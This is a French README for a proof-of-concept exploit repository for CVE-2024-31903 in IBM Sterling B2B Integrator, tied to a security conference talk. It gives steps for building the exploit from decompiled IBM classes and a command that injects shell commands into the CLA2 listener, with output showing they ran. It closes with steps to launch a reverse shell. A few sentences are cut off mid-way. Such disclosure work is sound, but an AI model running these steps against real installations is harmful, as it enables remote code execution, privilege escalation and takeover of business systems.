
Code PoC pour les attaques LPE et RCE (CVE-2024-31903) contre l'IBM Sterling B2B Integrator
Code de preuve de concept pour l'exploitation des vulnérabilités découvertes contre IBM Sterling B2B Integrator, versions 6.2.0.0 à 6.2.0.2, et 6.0.0.0 à 6.1.2.5 pour les systèmes Linux, Windows et AIX :
Plus de détails sur ces problèmes peuvent être trouvés dans ma présentation DistricCon « To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication » :
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
La plupart du code de ce dépôt concerne l'attaque par injection de commande LPE.
Le client binaire Python bin_client.py peut être utilisé pour envoyer manuellement des messages à CLA2, permettant l'exploitation de la vulnérabilité RCE par désérialisation.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
Le PoC accepte deux paramètres :
bin_client.py, ou la chaîne « SEND » pour l'envoyer immédiatement à l'hôte:port où un client CLA2 écouteLe code source inclus dans ce dépôt est volontairement incomplet, car certaines classes du sous-système CLA2 sont nécessaires. Selon les permissions du système de fichiers du répertoire d'installation, vous pourriez accéder aux fichiers JAR
En supposant que vous ayez récupéré les fichiers pertinents de la décompilation du JAR. Ne seront pas téléchargés ici car ils constituent de la propriété intellectuelle d'IBM
Décompiler CLA2Client.jar
Dans le code décompilé, localisez les fichiers CmdLine2Result.java et CmdLine2Parms.java
Copiez et collez-les à côté de Main.java pour reproduire la structure de répertoire du package Java de l'application d'origine
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py et revshell_listener.py sur le système cible, puis démarrez le listener. Ensuite, remplacez le paramètre de commande du PoC par un appel du script de shell inversé comme ci-dessous :${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND